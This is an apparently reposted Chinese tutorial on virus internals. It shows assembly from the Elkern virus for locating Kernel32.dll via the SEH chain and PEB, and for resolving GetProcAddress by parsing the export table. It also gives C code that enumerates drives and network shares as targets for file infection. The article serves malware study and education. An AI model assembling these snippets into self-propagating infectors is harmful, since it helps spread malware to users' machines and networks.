恶意代码的亲密接触之文件搜索和API导址

 http://dev.yesky.com/126/2540626.shtml
前一篇文章中介绍了病毒的相关基础知识后,从本文开始我们就要深入病毒内部,开始看一些具体的病毒编码片断,在本文中我们会看到API函数搜索以及文件搜索的技术,为后面更加深入的探讨打下良好的基础,如果你已经准备好了,就让作者带你进入这无所不用其极的病毒技术世界吧。

   获取Kernel32.DLL 基址

   获取Kernel32.DLL基址的方法很多,最常见的一种是搜索法,如果已知Kernel32.DLL加载的大致地址,那么可由该地址向高地址或低地 址进行搜索可以找到其基址。另外一种方法是搜索NT PEB 结构中的模块列表获取Kernel32.DLL的准确加载基址。下面看一下具体的实现代码。

  方法1:暴力搜索获取Kernel32.DLL 的基址

   最初的病毒是指定一个大致的加载地址,比如根据实验在9X 下其加载地址是0xBFF70000;在Windows 2000下加载基址是0x77E80000;在XP 和2003 下其加载基址是0x77E60000,因此在NT系统下就可以从0x77e00000开始向高地址搜索,在9X 下可以从0xBFF00000 开始向高地址搜索,如果搜索到Kernel32.DLL的加载地址,其头部一定是“MZ”标志,由模块起始偏移0x3C的双字确定的PE头部标志必然是 “PE”标志,因此可根据这两个标志判断是否找到了模块加载地址,也许有人认为该方法不可靠,因为如果恰好有某段数据符合这两个特征,那么找到的基址可能 就是错误的,但经实验证明,该判断方法非常可靠,基本不会出现错误。有一点需要注意的是,在所有版本的Windows系统下Kernel32.DLL的加 载基址都是按照0x10000对齐的,根据这一特点可以不必逐字节搜索,按照64K 对齐的边界地址搜索即可。

  从大致的一个地址开始 搜索Kernel32.DLL基址可能会出现读写到未映射内存区域的情况,因此需要和SEH 配合使用。如果有在各个版本下准确获取Kernel32.DLL中某地址的通用方法,那么就可以更可靠地从该地址开始向低地址搜索,显然会更加通用。事实 上,这种方法是存在的。在系统加载PE文件跳转到PE入口点第一条指令的时候,堆栈顶保存的就是Kernel32.DLL 中的某个地址,Elkern中采用的就是这种方法:

_start:
pushfd ;If some flags,especial DF,changed,some APIs can crash down!!!
pushad
_start_@1 equ $
;......
mov ebx,[esp+9*4]
;前面已经由pushfd 和pushad 压入了9 个双字
and ebx,0ffe00000h
;该地址为Kernel32.dll 模块下方的某个地址
;先减去0x100000 确保该地址处于Kernel32.dll 的下方
;向高地址搜索如果将来Windows 的发行版本中Kernel32.dll
;大小和代码结构发生变化,该方法可能无效

   ebx 中现在已经是Kernel32.DLL 基址之前某个地址了,后续代码可以向高地址搜索其基址。该方法有一个缺点,就是必须明确知道程序入口的堆栈指针值,或间接可计算出该值,对于那些在程序入 口获取控制权的病毒代码而言,是可以的,但对于采用EPO 技术的病毒而言,该方法则不适用。事实上还有另外一种更加通用的方法,我们知道在Win32 程序执行过程中fs 段寄存器的基址总是指向进程的TEB,TEB 的第一个成员指向SEH 链表,该链表每个节点都是一个EXCEPTION_REGISTRATION 结构,该结构定义如下:

struct EXCEPTION_REGISTRATION{
 struct EXCEPTION_REGISTRATION *prev;
 void* handler;
};

  在Windows 下SEH 链表最后一个成员的handler 指向Kernel32.DLL中函数UnhandledExceptionFilter的起始地址,利用这一特性我们可以写出更通用的代码:

xor esi,esi
lods dword [fs:esi];取得SEH 链表的头指针
@@:
inc eax ;是否是最后一个SEH 节点,检查prev 是
否为0xFFFFFFFF
je @F
dec eax
xchg esi,eax
LODSD ;下一个SEH 节点
jmp near @B
@@:
LODSD ;取得Kernel32.dll中UnhandledExceptionFilter的地址

   在有的病毒直接以0x7FFDE000 作为TEB 的指针值,其原因在于在Windows 2003 SP1、Windows XP SP2以前的NT类系统上,该值是固定的,这样的确可以节省一两个字节。但是在Windows 2003 SP1、Windows XP SP2中,情况已经发生了变化,出于安全性的考虑,Windows系统开
始动态映射TEB 了,也就是说,指向TEB 的指针值不再固定,因此这种硬编码的方法也就走到了尽头。此时可以按照前面的方法向低地址搜索判断直到找到Kernel32.dll的基址为止。Elkern中判断是否找到了Kernel32.dll基址的相关代码如下:

search_api_addr_@1:
add ebx,10000h
jz short search_api_addr_seh_restore
cmp word ptr [ebx],'ZM' ;是否是MZ 标志
jnz short search_api_addr_@1
mov eax,[ebx+3ch]
add eax,ebx
cmp word ptr [eax],'EP' ;是否具有PE 标志
jnz short search_api_addr_@1
;找到了kernel32.dll 的基址

  方法2:搜索PEB 的相关结构获取Kernel32.DLL 的基址

   前述TEB偏移0x30处,亦即FS:[0x30]地址处保存着一个重要的指针,该指针指向PEB(进程环境块),PEB成员很多,这里并不介绍PEB 的详细结构。我们只需要知道PEB结构的偏移0xC处保存着另外一个重要指针ldr,该指针指向PEB_LDR_DATA 结构:

typedef struct _PEB_LDR_DATA
{
 ULONG Length; // +0x00
 BOOLEAN Initialized; // +0x04
 PVOID SsHandle; // +0x08
 LIST_ENTRY InLoadOrderModuleList; // +0x0c
 LIST_ENTRY InMemoryOrderModuleList; // +0x14
 LIST_ENTRY InInitializationOrderModuleList;// +0x1c
} PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24

  该结构的后三个成员是指向LDR_MODULE链表结构中相应三条双向链表头的指针,分别是按照加载顺序、在内存中的地址顺序和初始化顺序排列的模块信息结构的指针。

  LDR_MODULE结构如下所示:

typedef struct _LDR_MODULE
{
 LIST_ENTRY InLoadOrderModuleList; // +0x00
 LIST_ENTRY InMemoryOrderModuleList; // +0x08
 LIST_ENTRY InInitializationOrderModuleList;// +0x10
 PVOID BaseAddress; // +0x18
 PVOID EntryPoint; // +0x1c
 ULONG SizeOfImage; // +0x20
 UNICODE_STRING FullDllName; // +0x24
 UNICODE_STRING BaseDllName; // +0x2c
 ULONG Flags; // +0x34
 SHORT LoadCount; // +0x38
 SHORT TlsIndex; // +0x3a
 LIST_ENTRY HashTableEntry; // +0x3c
 ULONG TimeDateStamp; // +0x44
 // +0x48
} LDR_MODULE, *PLDR_MODULE;

   Peb->Ldr->InInitializationOrderModuleList指向按照初始化顺序排序的第一个L D R _ M O D U L E 节点的InInitializationOrderModuleList成员的指针,在WinNT平台(不包含Win9X)下,该链表头节点的 LDR_MODULE结构包含的是NTDLL.DLL的相关信息,而链表的下一个节点所包含的就是Kernel32.dll 相关的信息了,该节点LDR_MODULE结构中的BaseAddress 不正是我们所苦苦寻找的吗。注意InInitializationOrderModuleList 是LDR_MODULE的第3个成员,因此要获取BaseAddress 的地址,只需将其指针加8 再derefrence即可。因此下面的汇编代码即可获取Kernel32.DLL的基址:

mov eax, dword ptr fs:[30h]
;获取PEB 基址
mov eax, dword ptr [eax+0ch]
;获取PEB_LDR_DATA 结构指针
mov esi, dword ptr [eax+1ch]
;获取InInitializationOrderModuleList 链表头第一个LDR_MODULE 节点
InInitializationOrderModuleList 成员的指针
93 2005.08 程序员
lodsd
;获取双向链表当前节点后继的指针
mov ebx, dword ptr [eax+08h]
;取其基地址,该结构当前包含的是
;kernel32.dll 相关的信息

  该方法在所有的Windows NT(包括Windows 2003 SP1和Windows XP SP2)操作系统上都是有效的,唯一的缺憾是由于PEB结构不同,该方
法在Win9X系统上无效。听起来可能比较费解,还是用一张图更加清晰一些(见图6)。


图6:利用PEB 搜索kernel32.dll 基地址的过程
解析PE文件的导出函数表

  PE文件的函数导出机制是进行模块间动态调用的重要机制,对于正常的程序,相关操作是由系统 加载器在程序加载前自动完成的,对用户程序是透明的。但要想在病毒代码中实现函数地址的动态解析以取代加载器,那就有必要了解函数导出表的结构了。在图1 中可以看到在PE头结构IMAGE_OPTIONAL_HEADER32结构中包含一个DataDirectory数组结构,该结构包含1 6 个成员,每个成员都是一个IMAGE_DATA_DIRECTORY 结构:

typedef struct _IMAGE_DATA_DIRECTORY {
 DWORD VirtualAddress;
 DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

   DataDirectory数组的每个结构都指向一个重要的数据结构,第一个成员指向导出函数表(索引0),第2个成员指向PE文件的引入函数表(索引 1)。DataDirectory中的第一个成员指向导出函数表的IMAGE_EXPORT_DIRECTORY 结构:

typedef struct _IMAGE_EXPORT_DIRECTORY {
 DWORD Characteristics;
 DWORD TimeDateStamp;
 WORD MajorVersion;
 WORD MinorVersion;
 DWORD Name;
 DWORD Base;
 DWORD NumberOfFunctions;
 DWORD NumberOfNames;
 DWORD AddressOfFunctions; // RVA from base of image
 DWORD AddressOfNames; // RVA from base of image
 DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

   AddressOfFunctions 是一个双字数组,包含了所有导出函数的RVA,另外两个成员AddressOfNames也是一个双字数组,包含了指向导出函数名字的字符串的R V A , AddressOfNameOrdinals 是一个字数组(16bit ),和AddressOfNames 数组是并行的,和AddressOfNames数组一起确定了相应引出函数的序号,该序号可直接用于索引AddressOfFunctions 数组获取导出函数的地址。因此病毒搜索指定的API 就包含了如下步骤:

  a)获取NumberOfNames 的值以及AddressOfNames、AddressOfNameOrdinals 和AddressOfFunctions 的数组的地址。

  b)搜索AddressOfNames 数组,按字符串对比,若找到相应的A P I,转d

  c)若NumberOfNames 名字尚未全部搜索完毕,转b 继续搜索,若搜索完毕,则表明未找到进行错误处理,这一步通常可以省略,因为我们已经知道相应的DLL 中肯定导出了相应的函数。

   d)获取当前函数名字指针在AddressOfNames 数组中的索引,在AddressOfNameOrdinals 数组中取出以该值索引的函数序号,以该序号值作为AddressOfFunctions 数组的索引,在AddressOfFunctions 数组中取出导出函数的RVA值,加上基址就得到了运行时导出函数的地址。
看起来似乎比较罗嗦,实际上这是PE设计时为考虑灵活性而做出的牺牲。不过实现起来还是比较简单的,通常汇编代码编译后不到100 字节。以下是在Kernel32 搜索GetProcAddress 的完整代码:

push esi
;esi=VA Kernel32.BASE
;edi=RVA K32.pehdr
mov ebp,esi
mov edi,[ebp+edi+peh.DataDirectory]
push edi esi
mov eax,[ebp+edi+peexc.AddressOfNames]
mov edx,[ebp+edi+peexc.AddressOfNameOrdinals]
call @F
db "GetProcAddress",0
@@:
pop edi
mov ecx,15
sub eax,4
next_:
add eax,4
add edi,ecx
sub edi,15
mov esi,[ebp+eax]
add esi,ebp
mov ecx,15
repz cmpsb
;进行字符串比较,判断是否为要查找的函数
jnz next_
pop esi edi
sub eax,[ebp+edi+peexc.AddressOfNames]
shr eax,1
add edx,ebp
movzx eax,word [edx+eax]
add esi,[ebp+edi+peexc.AddressOfFunctions]
add ebp,[esi+eax*4]
;ebp=Kernel32.GetProcAddress.addr
;use GetProcAddress and hModule to get other func
pop esi ;esi=kernel32 Base

   在前面解析导出函数表获取API地址的时候,采用的是直接比较字符串的方法判断是不是找到了相应的API,其实还可以计算函数名字的hash,然后同预 计算的hash进行比对,现代的PE 病毒更多采用的hash的方法,其原因在于一般的函数名字长度都大于4字节,而用hash只要占用4个字节或2个字节,可以节省空间,此外还有抗病毒分析 的作用,因为hash要比字符串名字费解得多。hash算法的设计只要能保证无冲突即可,可以用crc等成熟算法,也可以设计自己的简单算法。在 Elkern 中就使用了crc16算法。
  文件搜索

  文件搜索是病毒的重要功能模块之一,也是实现感染和传播的关键。现代Windows和各种移动介质的文件系 统可能采用多种复杂格式,因此象一些Dos 病毒一样试图直接存取文件系统(读写扇区)是不大现实的。通常利用Win32 API 的FindFirstFile 和FindNextFile 来实当前目录下所有目录和文件的搜索,通过判断搜索到的文件属性,可区分是否为目录或可执行文件,对于可执行文件则根据预先设计好的感染策略进行感染;对 于当前目录下的所有子目录以及特殊的..父目录,可以使用递归或非递归的方式利用上述两个API 全部进行遍历,因此从某个驱动器或网络共享文件夹的任意一个子目录开始,都可以遍历当前驱动器或网络共享文件夹内的所有文件和目录。一般地,搜索文件从驱 动器或共享文件夹的根目录开始,那么如何得到当前系统中存在的所有驱动器或所有的共享文件夹列表呢?对于前一个问题,我们知道Windows下可划分A: ~Z: 共26 个逻辑盘符,因此可以从A:开始递增搜索所有的驱动器,使用Win32 API GetDriveType判断当前搜索的盘符是否存在,以及是否是固定硬盘、可移动存储介质、是否可写或是网络驱动器等。一般病毒只感染固定硬盘或网络驱 动器。由于汇编语言在表述算法时显得过于冗长,因此算法部分使用C 语言描述,当然将C 算法转换成汇编语言是很简单的过程。

  下面的代码enumdisk.cpp将显示A-Z各个驱动器的相关属性:

#include <windows.h>
#include <stdio.h>
#define MAX_DRIVENAME_LENGTH 64
void __cdecl main(int argc,char *argv[])
{
 char DriveName[MAX_DRIVENAME_LENGTH];
 char *p;
 unsigned int drv_attr;
 p = DriveName;
 strncpy(DriveName,"A:",MAX_DRIVENAME_LENGTH);
 for(;*p<'Z';++*p) {
  drv_attr = GetDriveType(p);
  switch(drv_attr)
  {
   case DRIVE_UNKNOWN: // 未知类型
    printf("drive %s type %s/n",p,"DRIVE_UNKNOWN");
    break;
   case DRIVE_NO_ROOT_DIR: // 该驱动器不存在
    printf("drive %s type %s/n",p, "DRIVE_NO_ROOT_DIR");break;
   case DRIVE_REMOVABLE: // 可移动盘,软盘或U 盘或
    // 移动硬盘等
    printf("drive %s type %s/n",p,"DRIVE_REMOVABLE");
    break;
   case DRIVE_FIXED: // 固定硬盘
    printf("drive %s type %s/n",p,"DRIVE_FIXED");break;
   case DRIVE_REMOTE: // 一般是映射网络驱动器
    printf("drive %s type %s/n",p,"DRIVE_REMOTE");break;
   case DRIVE_CDROM: // 光盘
    printf("drive %s type %s/n",p,"DRIVE_CDROM");break;
   case DRIVE_RAMDISK: // RAM DISK
    printf("drive %s type %s/n",p,"DRIVE_RAMDISK");
    break;
  }
 }
}

  与仅仅显示一条信息不同的是,病毒此时将调用文件枚举函数(如后面给出的enum_path函数)从当前根目录开始遍历DRIVE_FIXED的驱动器上的所有文件,根据预定义策略进行文件感染。

   网络共享资源也是按树状组织的,非叶节点称为容器(container),对容器需要进一步搜索直到到达叶子节点为止,叶子节点才是共享资源的根路径。 共享资源一般分成两种:共享打印设备和共享文件夹。对于网络共享文件的搜索,采用WNetOpenEnum和WNetEnumResource(由 mpr.dll 导出)进行递归枚举。其函数原型及参数含义请参阅MSDN,使用如下代码enumshare.cpp将显示所有的网络驱动器共享文件夹的路径:
  
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"mpr.lib")
  
int enum_netshare(LPNETRESOURCE lpnr);
  
void __cdecl main(int argc,char *argv[])
{
 enum_netshare(0);
}
  
int enum_netshare(LPNETRESOURCE lpnr)
{
 DWORD r, rEnum,usage;
 HANDLE hEnum;
 DWORD cbBuffer = 16384;
 DWORD cEntries = -1;
 LPNETRESOURCE lpnrLocal;
 // NETRESOURCE 数组结构的指针
 DWORD i;  
 r = WNetOpenEnum(RESOURCE_GLOBALNET,
 // 范围:所有网络资源
 RESOURCETYPE_DISK,
 // 类型:仅枚举可存储介质
 RESOURCEUSAGE_ALL,
 // 使用状态:所有
 lpnr,
 // 初次调用时为NULL
 &hEnum);
 // 成功后返回的网络资源句柄
  
 if (r != NO_ERROR) {
   printf("WNetOpenEnum error..../n");
   return FALSE;
 }
 
 lpnrLocal = (LPNETRESOURCE) malloc(cbBuffer);
 if (lpnrLocal == NULL)
   return FALSE;
 do
 {
  ZeroMemory(lpnrLocal, cbBuffer);
  rEnum = WNetEnumResource(hEnum, &cEntries, // 返回尽可能多的结果
   lpnrLocal, // LPNETRESOURCE
   &cbBuffer); // buffer 大小
  if (rEnum == NO_ERROR) {
    for(i = 0; i < cEntries; i++) {
     usage = lpnrLocal[i].dwUsage;
      if(usage & RESOURCEUSAGE_CONTAINER) {
       if(!enum_netshare(&lpnrLocal[i]))
       printf("Errors detected in enum process.../n");
      }else{
  
      // 这里病毒可调用遍历函数遍历该
      // 共享文件夹下的所有文件
      // enum_path(lpnrLocal[i].lpRemoteName);
      printf("find %s --> %s/n", lpnrLocal[i].lpLocalName, lpnrLocal[i].lpRemoteName);
     }
    }
   }else if (rEnum != ERROR_NO_MORE_ITEMS) {
    printf("WNetEnumResource error.../n");
    break;
   }
  }while(rEnum != ERROR_NO_MORE_ITEMS);
  
  free((void*)lpnrLocal);
  r = WNetCloseEnum(hEnum);
  if(r != NO_ERROR) {
   printf("WNetCloseEnum error..../n");
   return FALSE;
  }
  
  return TRUE;
 }

   遍历开始时WNetOpenEnum 第4 形参为0,在发现共享容器进行递归调用时候, 该参数将为共享容器的NETRESOURCE结构指针。从NETRESOURCE结构中可以找到我们感兴趣的lpRemoteName,该指针不为0 则表示是有效的共享容器或共享文件夹。

typedef struct _NETRESOURCE {
 DWORD dwScope;
 DWORD dwType;
 DWORD dwDisplayType;
 DWORD dwUsage;
 LPTSTR lpLocalName;
 LPTSTR lpRemoteName;
 LPTSTR lpComment;
 LPTSTR lpProvider;
} NETRESOURCE;
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值